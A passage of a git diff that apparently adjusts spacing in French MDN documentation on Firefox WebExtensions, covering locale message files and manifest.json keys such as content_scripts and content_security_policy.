résumés dans l'arborescence suivante : - extension-root-directory/ @@ -59,9 +59,9 @@ Examinons chacune des nouvelles fonctionnalités à tour de rôle — chacune de Vous pouvez rechercher des sous-étiquettes de langue à l'aide de l'outil de *Recherche*r de la [page de recherche sous-étiquette de langue](http://r12a.github.io/apps/subtags/). Notez que vous devez rechercher le nom anglais de la langue. -Chaque système i18n nécessite la fourniture de chaînes traduites dans tous les différents environnements que vous souhaitez prendre en charge. Dans les extensions, elles sont contenues dans un répertoire appelé `_locales`, placé dans la racine de l'extension. Chaque environnement local a ses chaînes (appelées messages) contenues dans un fichier appelé `messages.json`, qui est placé dans un sous-répertoire de `_locales`, nommé en utilisant la sous-étiquette de langue pour la langue de ce local. +Chaque système i18n nécessite la fourniture de chaînes traduites dans tous les différents environnements que vous souhaitez prendre en charge. Dans les extensions, elles sont contenues dans un répertoire appelé `_locales`, placé dans la racine de l'extension. Chaque environnement local a ses chaînes (appelées messages) contenues dans un fichier appelé `messages.json`, qui est placé dans un sous-répertoire de `_locales`, nommé en utilisant la sous-étiquette de langue pour la langue de ce local. -Notez que si la sous-étiquette inclut une langue de base plus une variante régionale, la langue et la variante sont classiquement séparées en utilisant un trait d'union: par exemple, "en-US". Cependant, dans les répertoires sous `_locales`, **le séparateur doit être un trait de soulignement** : "en_US". +Notez que si la sous-étiquette inclut une langue de base plus une variante régionale, la langue et la variante sont classiquement séparées en utilisant un trait d'union: par exemple, "en-US". Cependant, dans les répertoires sous `_locales`, **le séparateur doit être un trait de soulignement** : "en_US". [Par exemple, dans notre exemple d'application](https://github.com/mdn/webextensions-examples/tree/master/notify-link-clicks-i18n/_locales) nous avons des répertoires pour "en" (anglais), "de" (allemand), "nl" (néerlandais), et "ja" (Japonais). Chaque d'entre eux a un fichier `messages.json` à l'intérieur. @@ -88,18 +88,18 @@ Regardons maintenant la structure de l'un de ces fichiers ([\_locales/en/message "message": "You clicked $URL$.", "description": "Tells the user which link they clicked.", "placeholders": { - "url" : { - "content" : "$1", - "example" : "https://developer.mozilla.org" - } - } + "url" : { + "content" : "$1", + "example" : "https://developer.mozilla.org" + } + } } } ``` -Ce fichier est un JSON standard — chacun de ses membres est un objet avec un nom, qui contient un `message` et une `description`. Tous ces éléments sont des chaînes ; `$URL$` est un espace réservé, qui est remplacé par une sous-chaîne au moment où le membre `notificationContent` est appelé par l'extension. Vous apprendrez à le faire dans la section {{anch("Récupération des chaînes de messages de JavaScript")}}. +Ce fichier est un JSON standard — chacun de ses membres est un objet avec un nom, qui contient un `message` et une `description`. Tous ces éléments sont des chaînes ; `$URL$` est un espace réservé, qui est remplacé par une sous-chaîne au moment où le membre `notificationContent` est appelé par l'extension. Vous apprendrez à le faire dans la section {{anch("Récupération des chaînes de messages de JavaScript")}}. -> **Note :** Vous pouvez trouver beaucoup plus d'informations sur le contenu des fichiers `messages.json` dans notre [référence spécifique aux paramètres régionaux](/fr/Add-ons/WebExtensions/API/i18n/Locale-Specific_Message_reference). +> **Note :** Vous pouvez trouver beaucoup plus d'informations sur le contenu des fichiers `messages.json` dans notre [référence spécifique aux paramètres régionaux](/fr/Add-ons/WebExtensions/API/i18n/Locale-Specific_Message_reference). ## Internationaliser manifest.json @@ -167,7 +167,7 @@ var title = browser.i18n.getMessage("notificationTitle"); var content = browser.i18n.getMessage("notificationContent", message.url); ``` -La première récupère juste le `message` du champ `notificationTitle `du fichier `messages.json` le plus approprié pour les paramètres régionaux actuels du navigateur. Le second est similaire, mais il est passé une URL en tant que deuxième paramètre. Ce qui donne? C'est ainsi que vous spécifiez le contenu pour remplacer l'espace réservé `$URL$` que nous voyons dans le champ `message` du champ `notificationContent` : +La première récupère juste le `message` du champ `notificationTitle `du fichier `messages.json` le plus approprié pour les paramètres régionaux actuels du navigateur. Le second est similaire, mais il est passé une URL en tant que deuxième paramètre. Ce qui donne? C'est ainsi que vous spécifiez le contenu pour remplacer l'espace réservé `$URL$` que nous voyons dans le champ `message` du champ `notificationContent` : ```json "notificationContent": { @@ -182,17 +182,17 @@ La première récupère juste le `message` du champ `notificationTitle `du fichi } ``` -Le membre `"placeholders"` définit tous les espaces réservés et d'où ils sont extraits. L'espace réservé `"url"` spécifie que son contenu est pris à partir de $1, qui est la première valeur donnée dans le second paramètre de `getMessage()`. Puisque l'espace réservé est appelé `"url"`, nous utilisons `$URL$` pour l'appeler dans la chaîne de message (pour `"name"` vous utiliserez `$NAME$`, etc.) Si vous avez plusieurs espaces réservés, vous pouvez les fournir à l'intérieur un tableau qui est donné à {{WebExtAPIRef("i18n.getMessage()")}} en tant que deuxième paramètre — `[a, b, c]`sera disponible en`$1`, `$2`, et `$3`, et ainsi de suite, à l'intérieur des `messages.json`. +Le membre `"placeholders"` définit tous les espaces réservés et d'où ils sont extraits. L'espace réservé `"url"` spécifie que son contenu est pris à partir de $1, qui est la première valeur donnée dans le second paramètre de `getMessage()`. Puisque l'espace réservé est appelé `"url"`, nous utilisons `$URL$` pour l'appeler dans la chaîne de message (pour `"name"` vous utiliserez `$NAME$`, etc.) Si vous avez plusieurs espaces réservés, vous pouvez les fournir à l'intérieur un tableau qui est donné à {{WebExtAPIRef("i18n.getMessage()")}} en tant que deuxième paramètre — `[a, b, c]`sera disponible en`$1`, `$2`, et `$3`, et ainsi de suite, à l'intérieur des `messages.json`. -Parcourons un exemple: la chaîne originale du message `notificationContent` dans le fichier `en/messages.json` est +Parcourons un exemple: la chaîne originale du message `notificationContent` dans le fichier `en/messages.json` est You clicked $URL$. -Disons que le lien a été cliqué sur `https://developer.mozilla.org`. Après l'appel {{WebExtAPIRef("i18n.getMessage()")}} , le contenu du deuxième paramètre est mis à disposition dans messages.json sous la forme `$1`, qui remplace l'espace réservé `$URL$` tel qu'il est défini dans l'espace réservé `"url"`. Donc, la chaîne de message final est +Disons que le lien a été cliqué sur `https://developer.mozilla.org`. Après l'appel {{WebExtAPIRef("i18n.getMessage()")}} , le contenu du deuxième paramètre est mis à disposition dans messages.json sous la forme `$1`, qui remplace l'espace réservé `$URL$` tel qu'il est défini dans l'espace réservé `"url"`. Donc, la chaîne de message final est You clicked https://developer.mozilla.org. -### Utilisation de l'espace réservé direct +### Utilisation de l'espace réservé direct Il est possible d'insérer vos variables (`$1`, `$2`, `$3`, etc.) directement dans les chaînes de message, par exemple nous pourrions réécrire le membre `"notificationContent"` comme ceci : @@ -302,9 +302,9 @@ Le tableau suivant montre les différents messages prédéfinis disponibles : > dans le fichier manifest.json. C'est l'UUID généré qui apparaît dans l'URL de l'add-on. Cela signifie que vous ne pouvez pas utiliser cette - valeur comme paramètre <code>extensionId</code> pour + valeur comme paramètre <code>extensionId</code> pour {{WebExtAPIRef("runtime.sendMessage()")}}, et que vous - ne pouvez pas l'utiliser pour vérifier la propriété id d'un objet + ne pouvez pas l'utiliser pour vérifier la propriété id d'un objet {{WebExtAPIRef("runtime.MessageSender")}}. </p> </td> @@ -341,7 +341,7 @@ Le tableau suivant montre les différents messages prédéfinis disponibles : <tr> <td><code>@@bidi_end_edge</code></td> <td> - Si le <code>@@bidi_dir</code> est "ltr", alors c'est "droite"; sinon, + Si le <code>@@bidi_dir</code> est "ltr", alors c'est "droite"; sinon, c'est "gauche". </td> </tr> @@ -397,7 +397,7 @@ Depuis Firefox 45, vous pouvez installer temporairement des extensions à partir Ensuite, changez les paramètres régionaux de Firefox en un supporté dans l'extension que vous voulez tester. -1. Ouvrez "about:config" dans Firefox, et recherchez la préférence `intl.locale.requested` (gardez à l'esprit qu'avant Firefox 59, cette préférence s'appellait `general.useragent.locale`). +1. Ouvrez "about:config" dans Firefox, et recherchez la préférence `intl.locale.requested` (gardez à l'esprit qu'avant Firefox 59, cette préférence s'appellait `general.useragent.locale`). 2. Double-cliquez sur la préférence (ou appuyez sur Retour/Entrée) pour le sélectionner, entrez le code de langue pour les paramètres régionaux que vous voulez tester, puis cliquez sur "OK" (ou appuyez sur Retour/Entrée). Par exemple, dans notre exemple d'extension, "en" (anglais), "de" (allemand), "nl" (néérlandais), et "ja" (Japonais) sont pris en charge. 3. Recherchez `intl.locale.matchOS` et double-cliquez sur la préférence pour qu'elle soit définie sur `false`. 4. Redémarrez votre navigateur pour terminer la modification. diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/background/index.md b/files/fr/mozilla/add-ons/webextensions/manifest.json/background/index.md index 029f8fd4cc..70d288aa2c 100644 --- a/files/fr/mozilla/add-ons/webextensions/manifest.json/background/index.md +++ b/files/fr/mozilla/add-ons/webextensions/manifest.json/background/index.md @@ -78,8 +78,8 @@ La clé background est un objet qui peut avoir l'une des deux propriétés suiva <p> <strong>Note :</strong> Si vous souhaitez récupérer un script à partir d'un emplacement distant avec la balise <script> (par - exemple : <script src = - "https://code.jquery.com/jquery-1.7.1.min.js"> ), vous devrez + exemple : <script src = + "https://code.jquery.com/jquery-1.7.1.min.js"> ), vous devrez également modifier la clé <code ><a diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/browser_action/index.md b/files/fr/mozilla/add-ons/webextensions/manifest.json/browser_action/index.md index 6c506dbfb7..7e88f4a475 100644 --- a/files/fr/mozilla/add-ons/webextensions/manifest.json/browser_action/index.md +++ b/files/fr/mozilla/add-ons/webextensions/manifest.json/browser_action/index.md @@ -82,10 +82,10 @@ La clé `browser_action` est un objet qui peut avoir l'une des propriétés suiv </p> <p> Dans Firefox, la feuille de style peut être vue - à chrome://browser/content/extension.css, ou + à chrome://browser/content/extension.css, ou chrome://browser/content/extension-mac.css sur OS X. Lorsque vous définissez les dimensions, sachez que cette feuille de style définit - actuellement <code>box-sizing: border-box</code> (voir + actuellement <code>box-sizing: border-box</code> (voir <a href="/docs/Web/CSS/box-sizing">box-sizing</a>). </p> <p> @@ -134,9 +134,9 @@ La clé `browser_action` est un objet qui peut avoir l'une des propriétés suiv <p>Cett propriété est facultative, et defaut à "navbar".</p> <p> Firefox se souvient des paramètres <code>default_area</code> d'une - extension, même si cette extension est désinstallée et réinstallée + extension, même si cette extension est désinstallée et réinstallée par la suite. Pour forcer le navigateur à reconnaître une nouvelle - valeur pour <code>default_area</code>, l'identifiant de l'extension + valeur pour <code>default_area</code>, l'identifiant de l'extension doit être modifié. </p> <p> @@ -299,7 +299,7 @@ La clé `browser_action` est un objet qui peut avoir l'une des propriétés suiv L'icône de l'action du navigateur peut devoir être affichée dans différentes tailles dans différents contextes: -- L'icône est affichée par défaut dans la barre d'outils du navigateur, mais l'utilisateur peut la déplacer dans le panneau de menu du navigateur (le panneau qui s'ouvre lorsque l'utilisateur clique sur l'icône "hamburger"). L'icône dans la barre d'outils est plus petite que l'icône dans le panneau de menu. +- L'icône est affichée par défaut dans la barre d'outils du navigateur, mais l'utilisateur peut la déplacer dans le panneau de menu du navigateur (le panneau qui s'ouvre lorsque l'utilisateur clique sur l'icône "hamburger"). L'icône dans la barre d'outils est plus petite que l'icône dans le panneau de menu. - Sur un écran haute densité comme un écran Retina, les icônes doivent être deux fois plus grandes. Si le navigateur ne peut pas trouver une icône de la bonne taille dans une situation donnée, il choisira la meilleure correspondance et la mettra à l'échelle. Cette correction peut donner une apparence floue à l'icône, il est donc important de choisir attentivement les tailles d'icône. diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/browser_specific_settings/index.md b/files/fr/mozilla/add-ons/webextensions/manifest.json/browser_specific_settings/index.md index 4ff5fe981d..e171cddbd9 100644 --- a/files/fr/mozilla/add-ons/webextensions/manifest.json/browser_specific_settings/index.md +++ b/files/fr/mozilla/add-ons/webextensions/manifest.json/browser_specific_settings/index.md @@ -57,7 +57,7 @@ La clé `browser_specific_settings` contient des clés qui sont spécifiques à Actuellement, elle contient uniquement une clé, `gecko`, qui est structurée ainsi : - `id` est l'ID de l'extension. Facultatif à partir de Firefox 48, obligatoire avant Firefox 48. Voir les [WebExtensions et l'ID des extensions](/fr/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID) pour voir quand vous devez spécifier un identifiant complémentaire. -- `strict_min_version `: la version minimum de Gecko supportée. Les versions contenant un "\*" ne sont pas valides dans ce domaine. Par défaut, c'est "42a1". +- `strict_min_version `: la version minimum de Gecko supportée. Les versions contenant un "\*" ne sont pas valides dans ce domaine. Par défaut, c'est "42a1". - `strict_max_version` : la version maximum de Gecko supportée. Si la version de Firefox sur laquelle l'extension est en cours d'installation ou d'exécution est au-dessus de cette version, l'extension sera désactivée ou ne sera pas autorisée à être installée. Par défaut, c'est "\*", qui désactive la vérification d'une version maximale. - `update_url` est lien vers un [manifeste de mise à jour personnalisé](/fr-FR/Add-ons/Install_Manifests#updateURL). Notez que le lien doit commencer par "https". Cette clé consiste à gérer vous-même les mises à jour d'extension (c'est-à-dire pas via AMO). diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/chrome_settings_overrides/index.md b/files/fr/mozilla/add-ons/webextensions/manifest.json/chrome_settings_overrides/index.md index bdcb090fce..4f6e0604f1 100644 --- a/files/fr/mozilla/add-ons/webextensions/manifest.json/chrome_settings_overrides/index.md +++ b/files/fr/mozilla/add-ons/webextensions/manifest.json/chrome_settings_overrides/index.md @@ -89,7 +89,7 @@ La clé `chrome_settings_overrides` est un objet qui peut avoir les propriétés >". </p> <p> - C'est une + C'est une <a href="/fr/Add-ons/WebExtensions/Internationalization#Internationalizing_manifest.json" >propriété localisable</a @@ -107,7 +107,7 @@ La clé `chrome_settings_overrides` est un objet qui peut avoir les propriétés peuvent être fournies, y compris des URL pour des recherches plus spécialisées comme des recherches d'images. Dans l'URL que vous fournissez, utilisez "<code>{searchTerms}</code>" pour interpoler le - terme de recherche dans l'URL, comme : + terme de recherche dans l'URL, comme : <code>https://www.discogs.com/search/?q={searchTerms}</code>. Vous pouvez également fournir des paramètres POST à envoyer avec la recherche. diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/chrome_url_overrides/index.md b/files/fr/mozilla/add-ons/webextensions/manifest.json/chrome_url_overrides/index.md index 728c4dd86c..955e088571 100644 --- a/files/fr/mozilla/add-ons/webextensions/manifest.json/chrome_url_overrides/index.md +++ b/files/fr/mozilla/add-ons/webextensions/manifest.json/chrome_url_overrides/index.md @@ -23,9 +23,9 @@ translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/chrome_url_overrides <th scope="row">Exemple</th> <td> <pre class="brush: json"> - "chrome_url_overrides" : { - "newtab": "my-new-tab.html" - }</pre + "chrome_url_overrides" : { + "newtab": "my-new-tab.html" + }</pre > </td> </tr> diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/commands/index.md b/files/fr/mozilla/add-ons/webextensions/manifest.json/commands/index.md index 6e815d58d9..6c032257ca 100644 --- a/files/fr/mozilla/add-ons/webextensions/manifest.json/commands/index.md +++ b/files/fr/mozilla/add-ons/webextensions/manifest.json/commands/index.md @@ -41,7 +41,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/commands Utilisez la clé **`commands`** pour définir un ou plusieurs raccourcis clavier pour votre extension. -Chaque raccourci clavier est défini avec un **nom**, une **combination de clé**, et un **description**. Une fois que vous avez défini des commandes dans le fichier `manifest.json`, de votre extension, vous pouvez écouter leurs combinaisons de touches associées avec l'API JavaScript {{WebExtAPIRef("commands")}}. +Chaque raccourci clavier est défini avec un **nom**, une **combination de clé**, et un **description**. Une fois que vous avez défini des commandes dans le fichier `manifest.json`, de votre extension, vous pouvez écouter leurs combinaisons de touches associées avec l'API JavaScript {{WebExtAPIRef("commands")}}. ## Syntaxe @@ -137,7 +137,7 @@ browser.commands.onCommand.addListener(function(command) { ### Raccourcis spéciaux -Il existe 3 **raccourci spéciaux avec des actions par défaut**, pour lesquels l'événement {{WebExtAPIRef("commands.onCommand")}} n'est pas déclenché : +Il existe 3 **raccourci spéciaux avec des actions par défaut**, pour lesquels l'événement {{WebExtAPIRef("commands.onCommand")}} n'est pas déclenché : - `_execute_browser_action`: fonctionne comme un clic sur une [action de navigateur](/fr/docs/Mozilla/Add-ons/WebExtensions/Browser_action) de l'extension. - `_execute_page_action`: fonctionne comme un clic sur une [action de page](/fr/docs/Mozilla/Add-ons/WebExtensions/Page_actions) de l'extension. diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/content_scripts/index.md b/files/fr/mozilla/add-ons/webextensions/manifest.json/content_scripts/index.md index e0474695ef..36dfe1a465 100644 --- a/files/fr/mozilla/add-ons/webextensions/manifest.json/content_scripts/index.md +++ b/files/fr/mozilla/add-ons/webextensions/manifest.json/content_scripts/index.md @@ -37,10 +37,10 @@ translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts Ordonne au navigateur de charger des [scripts de contenu](/fr/docs/Mozilla/Add-ons/WebExtensions/Content_scripts) dans les pages web dont l’URL correspond à un modèle donné. -Cette clé est un tableau. Chaque élément est un objet qui : +Cette clé est un tableau. Chaque élément est un objet qui : -- **doit** contenir une clé nommée **`matches`**, qui spécifie les modèles d’URL à reconnaître afin que les scripts soient chargés ; -- **peut** contenir des clés nommées **`js`** et **`css`**, qui listent les scripts à charger dans les pages correspondantes ; +- **doit** contenir une clé nommée **`matches`**, qui spécifie les modèles d’URL à reconnaître afin que les scripts soient chargés ; +- **peut** contenir des clés nommées **`js`** et **`css`**, qui listent les scripts à charger dans les pages correspondantes ; - **peut** contenir un certain nombre d’autres propriétés qui contrôlent des aspects plus fins correspondant à quand et comment les scripts de contenu sont chargés. Le tableau ci-dessous présente le détail de toutes les clés que vous pouvez inclure. @@ -59,7 +59,7 @@ Le tableau ci-dessous présente le détail de toutes les clés que vous pouvez i <td>{{ jsxref("boolean", "Booléen") }}</td> <td> <p> - <code>true</code> : injecte les scripts spécifiés dans + <code>true</code> : injecte les scripts spécifiés dans {{ anch("js") }} et {{ anch("css") }} dans tous les cadres correspondant aux exigences d’URL spécifiées, même s’il n’est pas le cadre le plus haut d’un onglet. Cela n’injecte pas dans les cadres @@ -68,7 +68,7 @@ Le tableau ci-dessous présente le détail de toutes les clés que vous pouvez i cadre indépendamment. </p> <p> - <code>false</code> : injecte seulement dans le cadre le plus haut de + <code>false</code> : injecte seulement dans le cadre le plus haut de l’onglet qui répond aux exigences d’URL. </p> <p>Par défaut à <code>false</code>.</p> @@ -141,7 +141,7 @@ Le tableau ci-dessous présente le détail de toutes les clés que vous pouvez i <p> Les fichiers sont injectés dans l’ordre indiqué. Cela signifie que, par exemple, si vous incluez ici jQuery suivi d’un autre script de - contenu, comme ceci : + contenu, comme ceci : </p> <pre class="brush: json"> "js": ["jquery.js", "my-content-script.js"]</pre @@ -172,7 +172,7 @@ Le tableau ci-dessous présente le détail de toutes les clés que vous pouvez i </p> <p> Par exemple, supposons que vous disposiez d’une clé de - <code>content_scripts</code> comme ceci : + <code>content_scripts</code> comme ceci : </p> <pre class="brush: json"> "content_scripts": [ @@ -222,21 +222,21 @@ Le tableau ci-dessous présente le détail de toutes les clés que vous pouvez i {{ anch("js") }} sont injectés. Vous pouvez fournir une chaîne parmi trois ici, chacune identifiant un état dans le processus de chargement d’un document. Les états correspondent directement à - {{domxref("Document/readyState", "Document.readyState")}} : + {{domxref("Document/readyState", "Document.readyState")}} : </p> <ul> <li> - <code>"document_start"</code> : correspond à <code>"loading"</code>. + <code>"document_start"</code> : correspond à <code>"loading"</code>. Le DOM est toujours en cours de chargement. </li> <li> - <code>"document_end"</code> : correspond à + <code>"document_end"</code> : correspond à <code>"interactive"</code>. Le DOM a fini de charger, mais des ressources telles que des scripts et des images peuvent toujours être en cours de chargement. </li> <li> - <code>"document_idle"</code> : correspond à <code>"complete"</code>. + <code>"document_idle"</code> : correspond à <code>"complete"</code>. Le document et toutes ses ressources ont terminé de charger. </li> </ul> @@ -252,14 +252,14 @@ Le tableau ci-dessous présente le détail de toutes les clés que vous pouvez i ## Les modèles de correspondance d’URL -La clé `content_scripts` associe les scripts de contenu aux documents en fonction de la correspondance des URL : si l’URL du document correspond à la spécification de la clé, le script sera joint. Il existe quatre propriétés dans `content_scripts` que vous pouvez utiliser pour cette spécification : +La clé `content_scripts` associe les scripts de contenu aux documents en fonction de la correspondance des URL : si l’URL du document correspond à la spécification de la clé, le script sera joint. Il existe quatre propriétés dans `content_scripts` que vous pouvez utiliser pour cette spécification : -- `matches` : un tableau de [match patterns](/fr/docs/Mozilla/Add-ons/WebExtensions/Match_patterns) (modèles). -- `exclude_matches` : un tableau de [match patterns](/fr/docs/Mozilla/Add-ons/WebExtensions/Match_patterns). -- `include_globs` : un tableau de {{ anch("globs") }} (caractères génériques). -- `exclude_globs` : un tableau de {{ anch("globs") }}. +- `matches` : un tableau de [match patterns](/fr/docs/Mozilla/Add-ons/WebExtensions/Match_patterns) (modèles). +- `exclude_matches` : un tableau de [match patterns](/fr/docs/Mozilla/Add-ons/WebExtensions/Match_patterns). +- `include_globs` : un tableau de {{ anch("globs") }} (caractères génériques). +- `exclude_globs` : un tableau de {{ anch("globs") }}. -Pour associer une de ces propriétés, une URL doit correspondre à au moins un des éléments de son tableau. Par exemple, donner une propriété comme : +Pour associer une de ces propriétés, une URL doit correspondre à au moins un des éléments de son tableau. Par exemple, donner une propriété comme : ```json "matches": ["*://*.example.org/*", "*://*.example.com/*"] @@ -267,21 +267,21 @@ Pour associer une de ces propriétés, une URL doit correspondre à au moins un Les deux adresses `http://example.org/` et `http://example.com/` correspondront. -Étant donné que `matches` est la seule clé obligatoire, les trois autres clés sont utilisées pour limiter davantage les URL qui correspondent. Pour associer la clé dans son ensemble, une URL doit : +Étant donné que `matches` est la seule clé obligatoire, les trois autres clés sont utilisées pour limiter davantage les URL qui correspondent. Pour associer la clé dans son ensemble, une URL doit : -1. Correspondre à la propriété `matches` ; -2. ET associer à la propriété `include_globs`, si présent ; -3. ET NE PAS correspondre à la propriété `exclude_matches`, si présent ; +1. Correspondre à la propriété `matches` ; +2. ET associer à la propriété `include_globs`, si présent ; +3. ET NE PAS correspondre à la propriété `exclude_matches`, si présent ; 4. ET NE PAS correspondre à la propriété `exclude_globs`, si présent. ### globs -Un « glob » est juste une chaîne qui peut contenir des caractères génériques. Il existe deux types de caractères génériques, et vous pouvez les combiner dans le même glob : +Un « glob » est juste une chaîne qui peut contenir des caractères génériques. Il existe deux types de caractères génériques, et vous pouvez les combiner dans le même glob : - `"*"` correspond à zéro ou plus de caractères - `"?"` correspond exactement à un caractère. -Par exemple : `"*na?i"` correspond à `"illuminati"` et à `"annunaki"`, mais pas à `"sagnarelli"`. +Par exemple : `"*na?i"` correspond à `"illuminati"` et à `"annunaki"`, mais pas à `"sagnarelli"`. ## Exemple diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/content_security_policy/index.md b/files/fr/mozilla/add-ons/webextensions/manifest.json/content_security_policy/index.md index f8b8049865..bb0195c726 100644 --- a/files/fr/mozilla/add-ons/webextensions/manifest.json/content_security_policy/index.md +++ b/files/fr/mozilla/add-ons/webextensions/manifest.json/content_security_policy/index.md @@ -34,21 +34,21 @@ Les extensions ont une politique de sécurité de contenu qui leur est appliqué Vous pouvez utiliser la clé `"content_security_policy"` pour desserrer ou resserrer la politique par défaut. Cette clé est spécifiée de la même manière que l’en-tête HTTP Content-Security-Policy. Voir l’[utilisation de la politique de sécurité de contenu](/fr/docs/HTTP/CSP) pour une description générale de la syntaxe de CSP. -Par exemple, vous pouvez utiliser cette clé pour : +Par exemple, vous pouvez utiliser cette clé pour : -- permettre à l’extension de charger des scripts et des objets hors de son paquet, en fournissant leurs URL dans les directives {{CSP("script-src")}} or {{CSP("object-src")}} ; -- permettre à l’extension d’exécuter des scripts en ligne, en [fournissant le hash du script dans la directive `"script-src"`](/fr/docs/HTTP/Headers/Content-Security-Policy/script-src#Unsafe_inline_script) ; -- permettre à l’extension d’utiliser `eval()` et des fonctionnalités similaires, en incluant `'unsafe-eval'` dans la directive {{CSP("script-src")}} ; +- permettre à l’extension de charger des scripts et des objets hors de son paquet, en fournissant leurs URL dans les directives {{CSP("script-src")}} or {{CSP("object-src")}} ; +- permettre à l’extension d’exécuter des scripts en ligne, en [fournissant le hash du script dans la directive `"script-src"`](/fr/docs/HTTP/Headers/Content-Security-Policy/script-src#Unsafe_inline_script) ; +- permettre à l’extension d’utiliser `eval()` et des fonctionnalités similaires, en incluant `'unsafe-eval'` dans la directive {{CSP("script-src")}} ; - limiter les sources autorisées pour d’autres types de contenu, tels que les images et les feuilles de style, en utilisant la [directive de politique](https://publicsuffix.org/list/) appropriée. -Il existe des restrictions sur la politique que vous pouvez spécifier ici : +Il existe des restrictions sur la politique que vous pouvez spécifier ici : - La politique doit inclure au moins les directives {{CSP("script-src")}} et les {{CSP("object-src")}}, et la directive {{CSP("script-src")}} doit contenir le mot-clé `'self'`. - Les sources distantes doivent utiliser le schéma `https:`. -- Les sources distantes ne doivent pas utiliser de caractères génériques pour les domaines dans la [liste des suffixes publics](https://publicsuffix.org/list/) (ainsi, « \*.co.uk » et « \*.blogspot.com » ne sont pas autorisés, même si « \*.foo.blogspot.com » est autorisé). +- Les sources distantes ne doivent pas utiliser de caractères génériques pour les domaines dans la [liste des suffixes publics](https://publicsuffix.org/list/) (ainsi, « \*.co.uk » et « \*.blogspot.com » ne sont pas autorisés, même si « \*.foo.blogspot.com » est autorisé). - Toutes les sources doivent spécifier un hôte. -- Les seuls schémas autorisés pour les sources sont : `blob:`, `filesystem:`, `moz-extension:`, et `https:`. -- Les seuls [mots-clés](/fr/docs/HTTP/Headers/Content-Security-Policy/default-src#Sources) autorisés sont : `'none'`, `'self'`, et `'unsafe-eval'`. +- Les seuls schémas autorisés pour les sources sont : `blob:`, `filesystem:`, `moz-extension:`, et `https:`. +- Les seuls [mots-clés](/fr/docs/HTTP/Headers/Content-Security-Policy/default-src#Sources) autorisés sont : `'none'`, `'self'`, et `'unsafe-eval'`. ## Exemple @@ -60,31 +60,31 @@ Autoriser les scripts distants de "https\://example.com" : <sup>(<em>voir note</ "content_security_policy": "script-src 'self' https://example.com; object-src 'self'" ``` -Autoriser les scripts distants depuis n’importe quel sous-domaine de « jquery.com » : +Autoriser les scripts distants depuis n’importe quel sous-domaine de « jquery.com » : ```json "content_security_policy": "script-src 'self' https://*.jquery.com; object-src 'self'" ``` -Autoriser [`eval()` et ses amis ](</fr/Add-ons/WebExtensions/Content_Security_Policy#eval()_et_amis>): +Autoriser [`eval()` et ses amis ](</fr/Add-ons/WebExtensions/Content_Security_Policy#eval()_et_amis>): ```json "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';" ``` -Autoriser le script en ligne : `"<script>alert('Hello, world.');</script>"` : +Autoriser le script en ligne : `"<script>alert('Hello, world.');</script>"` : ```json "content_security_policy": "script-src 'self' 'sha256-qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng='; object-src 'self'" ``` -Conserver le reste de la politique, mais exiger également que les images soient empaquetées avec l’extension : +Conserver le reste de la politique, mais exiger également que les images soient empaquetées avec l’extension : ```json "content_security_policy": "script-src 'self'; object-src 'self'; img-src 'self'" ``` -Exiger que tous les types de contenu soient empaquetés avec l’extension : +Exiger que tous les types de contenu soient empaquetés avec l’extension : ```json "content_security_policy": "default-src 'self'" @@ -92,43 +92,43 @@ Exiger que tous les types de contenu soient empaquetés avec l’extension : ### Exemples non valides -Politique qui omet la directive `"object-src"` : +Politique qui omet la directive `"object-src"` : ```json "content_security_policy": "script-src 'self' https://*.jquery.com;" ``` -Politique qui omet le mot-clé `"self"` dans la directive `"script-src"` : +Politique qui omet le mot-clé `"self"` dans la directive `"script-src"` : ```json "content_security_policy": "script-src https://*.jquery.com; object-src 'self'" ``` -Le schéma pour une source distante n’est pas `https:` : +Le schéma pour une source distante n’est pas `https:` : ```json "content_security_policy": "script-src 'self' http://code.jquery.com; object-src 'self'" ``` -Le caractère générique est utilisé avec un domaine générique : +Le caractère générique est utilisé avec un domaine générique : ```json "content_security_policy": "script-src 'self' https://*.blogspot.com; object-src 'self'" ``` -La source spécifie un schéma mais aucun hôte : +La source spécifie un schéma mais aucun hôte : ```json "content_security_policy": "script-src 'self' https:; object-src 'self'" ``` -La directive inclut le mot-clé non pris en charge `'unsafe-inline'` : +La directive inclut le mot-clé non pris en charge `'unsafe-inline'` : ```json "content_security_policy": "script-src 'self' 'unsafe-inline'; object-src 'self'" ``` -1\. _Note : les exemples valides montrent l’utilisation correcte des clés dans CSP. Toutefois, les extensions avec_ _`'unsafe-eval'`, `'unsafe-inline'`, des blobs, des scripts ou des sources distantes dans leur CSP ne sont pas autorisées à être répertoriées sur addons.mozilla.org en raison de problèmes de sécurité majeurs._ +1\. _Note : les exemples valides montrent l’utilisation correcte des clés dans CSP. Toutefois, les extensions avec_ _`'unsafe-eval'`, `'unsafe-inline'`, des blobs, des scripts ou des sources distantes dans leur CSP ne sont pas autorisées à être répertoriées sur addons.mozilla.org en raison de problèmes de sécurité majeurs._ ## Compatibilité des navigateurs diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/dictionaries/index.md b/files/fr/mozilla/add-ons/webextensions/manifest.json/dictionaries/index.md index 5195e0246b..4fd1a7f888 100644 --- a/files/fr/mozilla/add-ons/webextensions/manifest.json/dictionaries/index.md +++ b/files/fr/mozilla/add-ons/webextensions/manifest.json/dictionaries/index.md @@ -33,7 +33,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/dictionaries </tbody> </table> -Les clés des `dictionaries` specifie le `locale_code` pour lequel votre extension fournit un dictionnaire. Bien que le dictionnaire se compose de deux fichiers, l'un avec une extension `.dic` et l'autre avec une extension `.aff`, seul celui avec l'extension `.dic` est référencé dans le fichier manifest.json. +Les clés des `dictionaries` specifie le `locale_code` pour lequel votre extension fournit un dictionnaire. Bien que le dictionnaire se compose de deux fichiers, l'un avec une extension `.dic` et l'autre avec une extension `.aff`, seul celui avec l'extension `.dic` est 